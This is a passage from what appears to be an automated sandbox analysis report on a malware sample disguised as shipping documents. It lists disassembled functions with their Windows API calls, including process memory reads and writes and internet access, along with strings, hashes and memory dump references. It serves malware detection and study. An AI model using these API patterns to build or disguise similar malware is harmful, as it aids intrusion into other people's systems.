                                                • Instruction Fuzzy Hash: 76619175A10219EFCB14DF98E991FAEB7B4FF49310F114169F916AB291D730AE40CBA0
                                                Function 009B2957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • Sleep.KERNEL32(00000000), ref: 009B2968
                                                • GlobalMemoryStatusEx.KERNEL32(?), ref: 009B2981
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: GlobalMemorySleepStatus
                                                • String ID: @
                                                • API String ID: 2783356886-2766056989
                                                • Opcode ID: 5f1906b258f9d856c233377ce728b7ba3266190c8e74e74fb1a05b7085b69f93
                                                • Instruction ID: 16da1d76bb41305fb49b1e05aa26b9416408c354c9cb31646823e9e56458697d
                                                • Opcode Fuzzy Hash: 5f1906b258f9d856c233377ce728b7ba3266190c8e74e74fb1a05b7085b69f93
                                                • Instruction Fuzzy Hash: A4514871418744ABE320EF54D886BAFBBE8FFC6344F51885DF2D8410A1DB358529CBA6
                                                Function 00A09734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A4F0B: __fread_nolock.LIBCMT ref: 009A4F29
                                                • _wcscmp.LIBCMT ref: 00A09824
                                                • _wcscmp.LIBCMT ref: 00A09837
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscmp$__fread_nolock
                                                • String ID: FILE
                                                • API String ID: 4029003684-3121273764
                                                • Opcode ID: a890cf910d6b65cc403da0e4db3b00a638412b8bd4aae6ce85d23de32993cb16
                                                • Instruction ID: 66d3e107b66539eae1e98184bc408c0d9d1ac4f42782b1d38f299cbe49624cac
                                                • Opcode Fuzzy Hash: a890cf910d6b65cc403da0e4db3b00a638412b8bd4aae6ce85d23de32993cb16
                                                • Instruction Fuzzy Hash: 47419671A0021DBADF219BA4DC46FEFB7BDEFC6710F004469F904A71C1DAB199048BA1
                                                Function 00A1258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A1259E
                                                • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00A125D4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CrackInternet_memset
                                                • String ID: |
                                                • API String ID: 1413715105-2343686810
                                                • Opcode ID: 998efd3d6fc6b74856e35881557ebce68a0bff9de742ded5326994626cf00a35
                                                • Instruction ID: b7ce2064e62c73753c1b33a46039ccecd7ff0e9ce7083c5ebb1eb488420b061e
                                                • Opcode Fuzzy Hash: 998efd3d6fc6b74856e35881557ebce68a0bff9de742ded5326994626cf00a35
                                                • Instruction Fuzzy Hash: F1310571800219EBCF11EFA4CC85EEEBFB9FF49350F100069F915A6162EB359956DBA0
                                                Function 00A27A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00001132,00000000,?), ref: 00A27B61
                                                • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00A27B76
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: '
                                                • API String ID: 3850602802-1997036262
                                                • Opcode ID: ed03c4c7555e76df0082dd9835f5687b1c8faa36be58236ff9b9ad8c6d961535
                                                • Instruction ID: db3e6f4d0c2bb5017bd4f8133e91bcaf6ccd2f9e7fe5ca566f4e33999fd3cb9e
                                                • Opcode Fuzzy Hash: ed03c4c7555e76df0082dd9835f5687b1c8faa36be58236ff9b9ad8c6d961535
                                                • Instruction Fuzzy Hash: A1410774A0521A9FDB14CF68D981BEEBBB5FB09350F10017AE905AB391D770AA51CF90
                                                Function 00A26A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32(?,?,?,?), ref: 00A26B17
                                                • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00A26B53
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$DestroyMove
                                                • String ID: static
                                                • API String ID: 2139405536-2160076837
                                                • Opcode ID: 43b130dfa60dea3343e22517864976435940e5c4d57fcf3cb8eebe23e2752f0e
                                                • Instruction ID: 9d7ba1a5bf7dc039b8564a85c705d375d36884307298f21387a9b27e9bab0b49
                                                • Opcode Fuzzy Hash: 43b130dfa60dea3343e22517864976435940e5c4d57fcf3cb8eebe23e2752f0e
                                                • Instruction Fuzzy Hash: 3E317E71210614AEDB10DF68DC81BFB77B9FF88760F108629F9A9D7190DA31AC92C760
                                                Function 009F994C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,0000110A,00000000,00000000), ref: 009F9965
                                                • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 009F999F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: @U=u
                                                • API String ID: 3850602802-2594219639
                                                • Opcode ID: 66167b795b5b7070de07ac1a3f91427fff8e6429bc628b4a308f8612dda7d5c6
                                                • Instruction ID: 7d57f70a05c746631ac0dbaf9a6a9a3c4ba624026be29f46d4a050bf92b8c886
                                                • Opcode Fuzzy Hash: 66167b795b5b7070de07ac1a3f91427fff8e6429bc628b4a308f8612dda7d5c6
                                                • Instruction Fuzzy Hash: 8221C832D00219AFCB11EBA8CC81FBFB779EFC9710F014069FA1567250EA719C418790
                                                Function 00A028A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A02911
                                                • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00A0294C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InfoItemMenu_memset
                                                • String ID: 0
                                                • API String ID: 2223754486-4108050209
                                                • Opcode ID: 29001b949f32b05690ddf4dd3bbc0c6b8921755f3ce7e275855810e9bb94720d
                                                • Instruction ID: 0f87bf50400ab58a4445377599b5b6c06994da7cc9fe9318a558ee4b0844029b
                                                • Opcode Fuzzy Hash: 29001b949f32b05690ddf4dd3bbc0c6b8921755f3ce7e275855810e9bb94720d
                                                • Instruction Fuzzy Hash: A831B431A0030D9FEF24CF98E989BAEBBF8EF45390F144029E985A61E1D7709944CB51
                                                Function 00A139E9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON
                                                Download Yara Rule
                                                APIs
                                                • __snwprintf.LIBCMT ref: 00A13A66
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __snwprintf_memmove
                                                • String ID: , $$AUTOITCALLVARIABLE%d
                                                • API String ID: 3506404897-2584243854
                                                • Opcode ID: 649f67be780f0e84a8a436e59ab282f6b929e2ed992a8ef2b4d2ac62b6d8bd70
                                                • Instruction ID: bb548b3c9945ddd981cb50309857bea9cb9c6733bd6f27db42bfecf890d5454f
                                                • Opcode Fuzzy Hash: 649f67be780f0e84a8a436e59ab282f6b929e2ed992a8ef2b4d2ac62b6d8bd70
                                                • Instruction Fuzzy Hash: E6216F71600219AFCF10EFA4CC82BEEB7B5BF85750F500454F955AB282DB35EA45CBA1
                                                Function 009FA9B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009B603A: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 009B6051
                                                • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 009FAA10
                                                • _strlen.LIBCMT ref: 009FAA1B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Timeout_strlen
                                                • String ID: @U=u
                                                • API String ID: 2777139624-2594219639
                                                • Opcode ID: 498b508d5b39bf7654b1a86f3ec01de06b9d88bd6b1a4b6f04b4ae39530c2bba
                                                • Instruction ID: 3696bd39250f8b56e7c0bd6c80c41911890e26c8c9f0b51af40379ba2797e6f5
                                                • Opcode Fuzzy Hash: 498b508d5b39bf7654b1a86f3ec01de06b9d88bd6b1a4b6f04b4ae39530c2bba
                                                • Instruction Fuzzy Hash: 451108B22002096ACB14BEB8DDC2FBE776E8F89300F00003DFA0ACA193DD25D849C752
                                                Function 00A26865 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00A055FD: GetLocalTime.KERNEL32 ref: 00A0560A
                                                  • Part of subcall function 00A055FD: _wcsncpy.LIBCMT ref: 00A0563F
                                                  • Part of subcall function 00A055FD: _wcsncpy.LIBCMT ref: 00A05671
                                                  • Part of subcall function 00A055FD: _wcsncpy.LIBCMT ref: 00A056A4
                                                  • Part of subcall function 00A055FD: _wcsncpy.LIBCMT ref: 00A056E6
                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00A268FF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcsncpy$LocalMessageSendTime
                                                • String ID: @U=u$SysDateTimePick32
                                                • API String ID: 2466184910-2530228043
                                                • Opcode ID: cf41027f2d4f27fb6005230c2d6ced6681d077b34da86489cdf9e00bce215d09
                                                • Instruction ID: 53b4f52929c30b212e84df471479f4608b7e565607e4e3f79a7f5ef5b071f37b
                                                • Opcode Fuzzy Hash: cf41027f2d4f27fb6005230c2d6ced6681d077b34da86489cdf9e00bce215d09
                                                • Instruction Fuzzy Hash: 4D21DA717412196FEF219F68EC82FEB7369EB44750F204525F950AB1D0D6B1AC9187A0
                                                Function 009F9225 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 009F923E
                                                  • Part of subcall function 00A013DE: GetWindowThreadProcessId.USER32(?,?), ref: 00A01409
                                                  • Part of subcall function 00A013DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,009F925A,00000034,?,?,00001004,00000000,00000000), ref: 00A01419
                                                  • Part of subcall function 00A013DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,009F925A,00000034,?,?,00001004,00000000,00000000), ref: 00A0142F
                                                  • Part of subcall function 00A014BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009F9296,?,?,00000034,00000800,?,00000034), ref: 00A014E6
                                                • SendMessageW.USER32(?,00001073,00000000,?), ref: 009F92A5
                                                  • Part of subcall function 00A01487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009F92C5,?,?,00000800,?,00001073,00000000,?,?), ref: 00A014B1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$MemoryMessageSend$AllocOpenReadThreadVirtualWindowWrite
                                                • String ID: @U=u
                                                • API String ID: 1045663743-2594219639
                                                • Opcode ID: 54eb67cb9ba729727f07cb8d428def6754e48d8c5e76b03138da8c1c2cf33695
                                                • Instruction ID: 736d9cecf63fa9b075450e6a8fe5888ad3f6ccc3ab757302bbf770ab240283d7
                                                • Opcode Fuzzy Hash: 54eb67cb9ba729727f07cb8d428def6754e48d8c5e76b03138da8c1c2cf33695
                                                • Instruction Fuzzy Hash: D721713190111CAFDF61EBA8DC81FDDBBB8FF09310F1001A5F658A71A0DA715A45CB91
                                                Function 00A266D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00A26761
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A2676C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: Combobox
                                                • API String ID: 3850602802-2096851135
                                                • Opcode ID: c815137dfd5af1f867ae0b8f7e0692bddf72323af2a5d28e607fab36bac924cd
                                                • Instruction ID: 26e8b89f35d9b1f065c914e36eaadd820889091a32f003f93eb436d36ca56c56
                                                • Opcode Fuzzy Hash: c815137dfd5af1f867ae0b8f7e0692bddf72323af2a5d28e607fab36bac924cd
                                                • Instruction Fuzzy Hash: 6911C475701218BFEF21CF58EC80EBB376AEB883A8F100539F9149B290D671DC5197A0
                                                Function 00A296F3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: @U=u
                                                • API String ID: 0-2594219639
                                                • Opcode ID: 3a3edc11b32cc4b760df5f26acd30c5d28d99178ccea8a800d65a50f8e9b3c81
                                                • Instruction ID: 186ea526041229a0026d61b1dc8eaed43765eae0a02028f81134b43d09d60ec2
                                                • Opcode Fuzzy Hash: 3a3edc11b32cc4b760df5f26acd30c5d28d99178ccea8a800d65a50f8e9b3c81
                                                • Instruction Fuzzy Hash: 16215935624228BFEB148F6CEC45FFB37A4EB09B10F404175FA52DA1E0D672EA119B60
                                                Function 00A26C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 009A1D73
                                                  • Part of subcall function 009A1D35: GetStockObject.GDI32(00000011), ref: 009A1D87
                                                  • Part of subcall function 009A1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 009A1D91
                                                • GetWindowRect.USER32(00000000,?), ref: 00A26C71
                                                • GetSysColor.USER32(00000012), ref: 00A26C8B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                • String ID: static
                                                • API String ID: 1983116058-2160076837
                                                • Opcode ID: 015c85fc902e19d73f0f9555b61f2a1cb693ab8c7d8be65e3d0689f33be3c7ff
                                                • Instruction ID: d9a38bc0821f2ad632976c5ec912c7286fb19638cee6da2a88a314829e89d1a8
                                                • Opcode Fuzzy Hash: 015c85fc902e19d73f0f9555b61f2a1cb693ab8c7d8be65e3d0689f33be3c7ff
                                                • Instruction Fuzzy Hash: C621147261021AAFDB14DFA8DD45AFA7BB8FB08314F004A29F995D2250D635E8519B60
                                                Function 00A029AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A02A22
                                                • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00A02A41
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InfoItemMenu_memset
                                                • String ID: 0
                                                • API String ID: 2223754486-4108050209
                                                • Opcode ID: 1a7577da9ace1de499633ded2d8b11bc11436e3c4536dbecc8f4fe111e344484
                                                • Instruction ID: 726c61b1c4002964b5c6373a8e6ee55bb0dbbcc4b86deb7b7d559569f4e2f7c6
                                                • Opcode Fuzzy Hash: 1a7577da9ace1de499633ded2d8b11bc11436e3c4536dbecc8f4fe111e344484
                                                • Instruction Fuzzy Hash: 2F119372E0132CABDF34DBA8E84CBAA77B8AB453D0F154061E855E72D0DB70AD06C791
                                                Function 00A121D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00A1222C
                                                • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00A12255
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Internet$OpenOption
                                                • String ID: <local>
                                                • API String ID: 942729171-4266983199
                                                • Opcode ID: fddc73039e99ef10a84a0e4c1b4660e0c32a596f20aca9167f7ed96b652398f3
                                                • Instruction ID: a850575727314c4b18140b92cef239e310c5d046f07a87cdfb5b23f3a365526e
                                                • Opcode Fuzzy Hash: fddc73039e99ef10a84a0e4c1b4660e0c32a596f20aca9167f7ed96b652398f3
                                                • Instruction Fuzzy Hash: 70119A70541225BADB258F518C89FFABBACFB1A751F10822AF91596000E2B099A5DBF0
                                                Function 00A284E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,?,?,?), ref: 00A28530
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
